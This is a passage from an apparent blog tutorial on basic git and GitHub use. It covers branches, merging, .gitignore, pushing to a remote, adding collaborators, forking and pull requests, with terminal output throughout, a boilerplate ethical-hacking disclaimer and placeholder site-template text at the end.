    Now we slowly slowly come in the concept of branch and the head is inside this branch (HEAD detached at e910f6b) .




     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git ((e910f6b5…))> sudo git branch
    * (HEAD detached at e910f6b)
      master
    hackerboy@KumarAtulJaiswal ~/D/learn-git ((e910f6b5…))> 
    
    

     

     

    now we check git log and as you can see here are only commit file becuase we are in this branch (HEAD detached at e910f6b) and in this branch only 1 file is available. .




     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git ((e910f6b5…))> git log
    commit e910f6b5f1208c697329ed4207d8cd57e598ee77 (HEAD)
    Author: Kumar Atul Jaiswal <kumaratuljaiswal222@gmail.com>
    Date:   Sat Jun 5 06:38:00 2021 +0530
    
        initial commit
    hackerboy@KumarAtulJaiswal ~/D/learn-git ((e910f6b5…))> 
    
    

     

     

    and if you want to check previous all commit So you have to come inside this branch(master) .




     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git ((e910f6b5…))> 
    hackerboy@KumarAtulJaiswal ~/D/learn-git ((e910f6b5…))> sudo git checkout master
    Previous HEAD position was e910f6b initial commit
    Switched to branch 'master'
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    
    

     

     

    All changes are here .



     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> git log
    commit e584eac2994d004ddfc1ce89f4d235bb25b9682c (HEAD -> master)
    Author: Kumar Atul Jaiswal <kumaratuljaiswal222@gmail.com>
    Date:   Sat Jun 5 07:38:29 2021 +0530
    
        added message in add.py
    
    commit 744a177504dd38541098ea79a5bb8feb982442f4
    Author: Kumar Atul Jaiswal <kumaratuljaiswal222@gmail.com>
    Date:   Sat Jun 5 07:15:00 2021 +0530
    
        added message in add.py
    
    commit 62ca770ab7c38abccb8f456900a47a55b05c3bf5
    Author: Kumar Atul Jaiswal <kumaratuljaiswal222@gmail.com>
    Date:   Sat Jun 5 07:06:28 2021 +0530
    
        adding atul.py
    
    commit e910f6b5f1208c697329ed4207d8cd57e598ee77
    Author: Kumar Atul Jaiswal <kumaratuljaiswal222@gmail.com>
    Date:   Sat Jun 5 06:38:00 2021 +0530
    
        initial commit
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    
    
    

     

     

    So, now we see the branch concept

    Each repository can have one or more branches. The main branch — the one where all changes eventually get merged back into, and is called master. This is the official working version of your project.
    This means that you want that there are many features in one branch and updating some things in one feature and does not have any side effect on other features, so that is why we can create or create many branches inside one branch..like tree concept .



    lets create another branch

    git branch <branch name>

     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> sudo git branch developer
    [sudo] password for hackerboy: 
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> git branch
      developer
    * master
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    
    
    
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> sudo git checkout developer
    Switched to branch 'developer'
    hackerboy@KumarAtulJaiswal ~/D/learn-git (developer)> 
    
    

     

     

    So, now we see the branch conceptgit checkout -b kumar/multiply
    okay here, why we are using -b, basically with -b command we are directly checkout (enter) into multiply branch and by this name(kumar) it is known that who is updating in what way in this project. .




     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (developer)> sudo git checkout -b kumar/multiply
    Switched to a new branch 'kumar/multiply'
    hackerboy@KumarAtulJaiswal ~/D/learn-git (kumar/multiply)> 
    
    

     

     


     

     

     


     

     

     

    git status



     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (kumar/multiply)> git status
    On branch kumar/multiply
    Untracked files:
      (use "git add <file>..." to include in what will be committed)
            multi.py
    
    nothing added to commit but untracked files present (use "git add" to track)
    hackerboy@KumarAtulJaiswal ~/D/learn-git (kumar/multiply)> 
    
    
    

     

     

    add and commit .




     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (kumar/multiply)> sudo git add multi.py
    hackerboy@KumarAtulJaiswal ~/D/learn-git (kumar/multiply)> sudo git commit -m "added multi.py"
    [kumar/multiply fe6515e] added multi.py
     1 file changed, 6 insertions(+)
     create mode 100644 multi.py
    hackerboy@KumarAtulJaiswal ~/D/learn-git (kumar/multiply)> 
    
    

     

     

    when we come back to developer branch as you can see multi.py file has been removed .




     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (kumar/multiply)> sudo git checkout developer
    Switched to branch 'developer'
    hackerboy@KumarAtulJaiswal ~/D/learn-git (developer)> 
    
    
    

     

     

     


     

     

     

     

    But now we want to bring the multi.py file inside the developer branch because now we think that our features are ready. sudo git merge kumar/multiply .




     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (developer)> sudo git merge kumar/multiply
    Updating e584eac..fe6515e
    Fast-forward
     multi.py | 6 ++++++
     1 file changed, 6 insertions(+)
     create mode 100644 multi.py
    hackerboy@KumarAtulJaiswal ~/D/learn-git (developer)> sudo git log
    commit fe6515e67a1b9015626fc3003dd27707ceae0ce7 (HEAD -> developer, kumar/multiply)
    Author: Kumar Atul Jaiswal <kumaratuljaiswal222@gmail.com>
    Date:   Sat Jun 5 20:33:17 2021 +0530
    
        added multi.py
    
    hackerboy@KumarAtulJaiswal ~/D/learn-git (developer)> 
    
    

     

     

    And if we come to the master branch then you can see here that there is no multi.py file in the master branch because the master branch and other branch does not know what the developer branch is doing.
    There is no multi.py file. .




     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (developer)> sudo git checkout master
    Switched to branch 'master'
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> sudo git log
    commit e584eac2994d004ddfc1ce89f4d235bb25b9682c (HEAD -> master)
    Author: Kumar Atul Jaiswal <kumaratuljaiswal222@gmail.com>
    Date:   Sat Jun 5 07:38:29 2021 +0530
    
        added message in add.py
    
    commit 744a177504dd38541098ea79a5bb8feb982442f4
    Author: Kumar Atul Jaiswal <kumaratuljaiswal222@gmail.com>
    Date:   Sat Jun 5 07:15:00 2021 +0530
    
        added message in add.py
    
    commit 62ca770ab7c38abccb8f456900a47a55b05c3bf5
    Author: Kumar Atul Jaiswal <kumaratuljaiswal222@gmail.com>
    Date:   Sat Jun 5 07:06:28 2021 +0530
    
        adding atul.py
    
    commit e910f6b5f1208c697329ed4207d8cd57e598ee77
    Author: Kumar Atul Jaiswal <kumaratuljaiswal222@gmail.com>
    Date:   Sat Jun 5 06:38:00 2021 +0530
    
        initial commit
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    
    

     

     



    Now we merging all branch and file in one master branch.

    There is no multi.py file.

     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> sudo git merge developer
    Updating e584eac..fe6515e
    Fast-forward
     multi.py | 6 ++++++
     1 file changed, 6 insertions(+)
     create mode 100644 multi.py
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> git log
    commit fe6515e67a1b9015626fc3003dd27707ceae0ce7 (HEAD -> master, kumar/multiply, developer)
    Author: Kumar Atul Jaiswal <kumaratuljaiswal222@gmail.com>
    Date:   Sat Jun 5 20:33:17 2021 +0530
    
        added multi.py
    
    commit e584eac2994d004ddfc1ce89f4d235bb25b9682c
    Author: Kumar Atul Jaiswal <kumaratuljaiswal222@gmail.com>
    Date:   Sat Jun 5 07:38:29 2021 +0530
    
        added message in add.py
    
    commit 744a177504dd38541098ea79a5bb8feb982442f4
    Author: Kumar Atul Jaiswal <kumaratuljaiswal222@gmail.com>
    Date:   Sat Jun 5 07:15:00 2021 +0530
    
        added message in add.py
    
    commit 62ca770ab7c38abccb8f456900a47a55b05c3bf5
    Author: Kumar Atul Jaiswal <kumaratuljaiswal222@gmail.com>
    Date:   Sat Jun 5 07:06:28 2021 +0530
    
        adding atul.py
    
    commit e910f6b5f1208c697329ed4207d8cd57e598ee77
    Author: Kumar Atul Jaiswal <kumaratuljaiswal222@gmail.com>
    Date:   Sat Jun 5 06:38:00 2021 +0530
    
        initial commit
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    
    

     

     

    Now we want that there should be some such file which git is not able to track, it should not go to 'git echo system' So for this we can keep the file inside gitignore.

    This is a secret hash-key and I want that it should not be exposed or uploaded on GitHub because someone can misuse it, it is only for us developers to use in our project.

    .




    by command

    touch .gitignore

     

     


     

     

     

     

         hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> git status
    On branch master
    Untracked files:
      (use "git add <file>..." to include in what will be committed)
            .gitignore
            key.py
    
    nothing added to commit but untracked files present (use "git add" to track)
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    
         
         

     

     

    I want that it should not be exposed or uploaded on GitHub so type file name (key.py) inside .gitignore file .





    and as you can see the file is hidden and git is not able to track.



     

     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> git status
    On branch master
    Untracked files:
      (use "git add <file>..." to include in what will be committed)
            .gitignore
    
    nothing added to commit but untracked files present (use "git add" to track)
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    
    

     

     

    and if you want hidden .gitignore file also and even git is not able to track.





     

    Now we talk about github 

     

     


     

    first of all we will create a new repo in github

     


     

     


    And as soon as the repository is created it will ask you to setup what you want to do, do you already have a repo or do you want to create.
     

     


     

     

    we have already a repo so that's why we using this setup...

     

     

     

     

     

    """
    …or push an existing repository from the command line
    
    git remote add origin https://github.com/whoiskumaratul/learn-git.git
    git branch -M main
    git push -u origin main
    
    """
    

     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> git remote -v
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> sudo git remote add origin https://github.com/whoiskumaratul/learn-git.git
    [sudo] password for hackerboy: 
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> git remote -v
    origin  https://github.com/whoiskumaratul/learn-git.git (fetch)
    origin  https://github.com/whoiskumaratul/learn-git.git (push)
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    

     

     

    if some type of error are coming, dont worry!!!



     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> sudo git branch -M master
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> git push -u origin main
    error: src refspec main does not match any
    error: failed to push some refs to 'https://github.com/whoiskumaratul/learn-git.git'
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master) [1]> 
    
    

     

     

    so don't worry type this command and give a username and password of github account.




     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> sudo git push -u origin master
    Username for 'https://github.com': whoiskumaratul
    Password for 'https://whoiskumaratul@github.com': 
    Enumerating objects: 15, done.
    Counting objects: 100% (15/15), done.
    Delta compression using up to 4 threads
    Compressing objects: 100% (13/13), done.
    Writing objects: 100% (15/15), 1.42 KiB | 242.00 KiB/s, done.
    Total 15 (delta 1), reused 0 (delta 0), pack-reused 0
    remote: Resolving deltas: 100% (1/1), done.
    To https://github.com/whoiskumaratul/learn-git.git
     * [new branch]      master -> master
    Branch 'master' set up to track remote branch 'master' from 'origin'.
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    
    

     

     

    after refreshing the page as you can see all files are uploaded.

     





     


     

    But if you want to add new file via command line as we have been doing so far

    let's create new file called as color.py 


     


     

     

     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> sudo git add color.py
    [sudo] password for hackerboy: 
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> sudo git commit -m "added color.py"
    [master f3dc945] added color.py
     1 file changed, 10 insertions(+)
     create mode 100644 color.py
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)                                                                                              hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> sudo git push -u origin master 
    Enumerating objects: 4, done.
    Counting objects: 100% (4/4), done.
    Delta compression using up to 4 threads
    Compressing objects: 100% (3/3), done.
    Writing objects: 100% (3/3), 565 bytes | 282.00 KiB/s, done.
    Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
    To https://github.com/whoiskumaratul/learn-git.git
       fe6515e..f3dc945  master -> master
    Branch 'master' set up to track remote branch 'master' from 'origin'.
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    
    

     

     


     

     


    Now, we adding a developer branch

    sudo git checkout developer
    sudo git push -u origin developer

     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> sudo git checkout developer
    Switched to branch 'developer'
    hackerboy@KumarAtulJaiswal ~/D/learn-git (developer)> 
    hackerboy@KumarAtulJaiswal ~/D/learn-git (developer)> 
    hackerboy@KumarAtulJaiswal ~/D/learn-git (developer)> sudo git push -u origin developer
    Username for 'https://github.com': whoiskumaratul
    Password for 'https://whoiskumaratul@github.com': 
    Total 0 (delta 0), reused 0 (delta 0), pack-reused 0
    remote: 
    remote: Create a pull request for 'developer' on GitHub by visiting:
    remote:      https://github.com/whoiskumaratul/learn-git/pull/new/developer
    remote: 
    To https://github.com/whoiskumaratul/learn-git.git
     * [new branch]      developer -> developer
    Branch 'developer' set up to track remote branch 'developer' from 'origin'.
    hackerboy@KumarAtulJaiswal ~/D/learn-git (developer)> 
    
    
    

     

     

     




     

     


    How to collaborate with multilple users ?


    if you want multiple users and developers to work on one project so you need to use open source.
     

    First you make the project open source and then people fork on that project and after that make some changes in it and send pull request.

    and second one is you need to add other person that who some changes and modified in project with collaborate.




    go to setting --> manage access --> add your collaborater --> and wait for the invitation to be accepted.
     

     



     

     invitation accepted Vola!!!!

     

     


     

     

     

     
     
     
     
     



     

     

     

    now I am going to my own account ( whoiskumaratul ) repo with 2nd account ( hackingtruthin )
     

     



     

    now i want to add some contribution as a hackingtruthin account. so first i need to fork of whoiskumaratul repo

     

     




    successfully forked




     

     

     

    then i am going to in terminal and edit my own name and email as a hackingtruthin account...


    type-

    sudo git config --global --edit 

    and change name and email and then one directory backed and checkout master branch with sudo git checkout master.

    so if any error are coming when you change master branch, do dont' worry go ahead and type next command 

    ls

    nano README.md (file that i want to some changes it)

    cat README.md

    sudo git status  

    as you can see this, modified file available here,so let's add and commit

    sudo git add README.md

    sudo git commit -m "readme.md updated"

    sudo git push

     

     

     

    hackerboy@KumarAtulJaiswal ~/Desktop (master)> 
    hackerboy@KumarAtulJaiswal ~/Desktop (master)> 
    hackerboy@KumarAtulJaiswal ~/Desktop (master)> sudo git config --global --edit
    hackerboy@KumarAtulJaiswal ~/Desktop (master)> 
    hackerboy@KumarAtulJaiswal ~/Desktop (master)> cd Lets-Contribution
    hackerboy@KumarAtulJaiswal ~/D/Lets-Contribution (main)> sudo git checkout master
    error: pathspec 'master' did not match any file(s) known to git
    hackerboy@KumarAtulJaiswal ~/D/Lets-Contribution (main) [1]> 
    
    
    hackerboy@KumarAtulJaiswal ~/D/Lets-Contribution (main) [1]> ls
    README.md
    hackerboy@KumarAtulJaiswal ~/D/Lets-Contribution (main)> nano README.md 
    hackerboy@KumarAtulJaiswal ~/D/Lets-Contribution (main)> cat README.md 
    # Lets-Contribution
    This is my first contribution and wait
    file will be updated...
    hackerboy@KumarAtulJaiswal ~/D/Lets-Contribution (main)> 
    hackerboy@KumarAtulJaiswal ~/D/Lets-Contribution (main)> sudo git status
    On branch main
    Your branch is up to date with 'origin/main'.
    
    Changes not staged for commit:
      (use "git add <file>>..." to update what will be committed)
      (use "git restore <file>..." to discard changes in working directory)
            modified:   README.md
    
    no changes added to commit (use "git add" and/or "git commit -a")
    hackerboy@KumarAtulJaiswal ~/D/Lets-Contribution (main)> sudo git add README.md
    hackerboy@KumarAtulJaiswal ~/D/Lets-Contribution (main)> sudo git commit -m "readme.md updated"
    [main 1831fb8] readme.md updated
     1 file changed, 1 insertion(+), 1 deletion(-)
    hackerboy@KumarAtulJaiswal ~/D/Lets-Contribution (main)> sudo git push
    Username for 'https://github.com': hackingtruthin
    Password for 'https://hackingtruthin@github.com': 
    Enumerating objects: 5, done.
    Counting objects: 100% (5/5), done.
    Delta compression using up to 4 threads
    Compressing objects: 100% (2/2), done.
    Writing objects: 100% (3/3), 271 bytes | 271.00 KiB/s, done.
    Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
    remote: Resolving deltas: 100% (1/1), completed with 1 local object.
    To https://github.com/hackingtruthin/Lets-Contribution.git
       6b5ddf9..1831fb8  main -> main
    hackerboy@KumarAtulJaiswal ~/D/Lets-Contribution (main)> 
    hackerboy@KumarAtulJaiswal ~/D/Lets-Contribution (main)> 
    hackerboy@KumarAtulJaiswal ~/D/Lets-Contribution (main)> ls
    README.md
    hackerboy@KumarAtulJaiswal ~/D/Lets-Contribution (main)> 
    

     

     

     

    in actual repo...he doesn't know about this...



     

     
     
     
    readme.md file has been updated and here you can see 3 commits showing

     
     






    The change can be added to the file of the Open by the Open Pull request.




     
     
     
     

    create pull request,

     

     


     

     

     

     

     


     

    Here you can give your message that you have changed the file

     

     

     


     

     

    and finally pull request submitted. After this, the owner will now check that the change made by you should be added to it in your project or not

     

     

     


     

     

     

    now what i see, i have to come a new pull request

    so let's check it. open request option and as you can see here are 1 pull requests

     





     

     

     

     


     

     

     

    then i check to what changes by them..

    go to file changes option

     

     

     

     


     

     


    then review and approve.


     

     

     


     

     

     

    and then i submitted with appreciation message.

     

     

     


     

     

     

     

     
    then merge pull request and confirm it


     

     





    and go back to our account whoiskumaratul
    and check readme.md file






      

     

     


    then if we going to commit section, here you can see what changes made by someone or ownself.
     

     




     

     

    So in the same way you can modify, delete, add new file, features someone's project added by these steps
    same repeate


    fork
    clone
    changes
    push
    pull request



     

     



    Disclaimer

     

    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



    - Hacking Truth by Kumar Atul Jaiswal



    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)

     

     


  • WHAT WE DO

    We've been developing corporate tailored services for clients for 30 years.

    CONTACT US

    For enquiries you can contact us in several different ways. Contact details are below.

    Hacking Truth.in

    • Street :Road Street 00
    • Person :Person
    • Phone :+045 123 755 755
    • Country :POLAND
    • Email :contact@heaven.com

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation.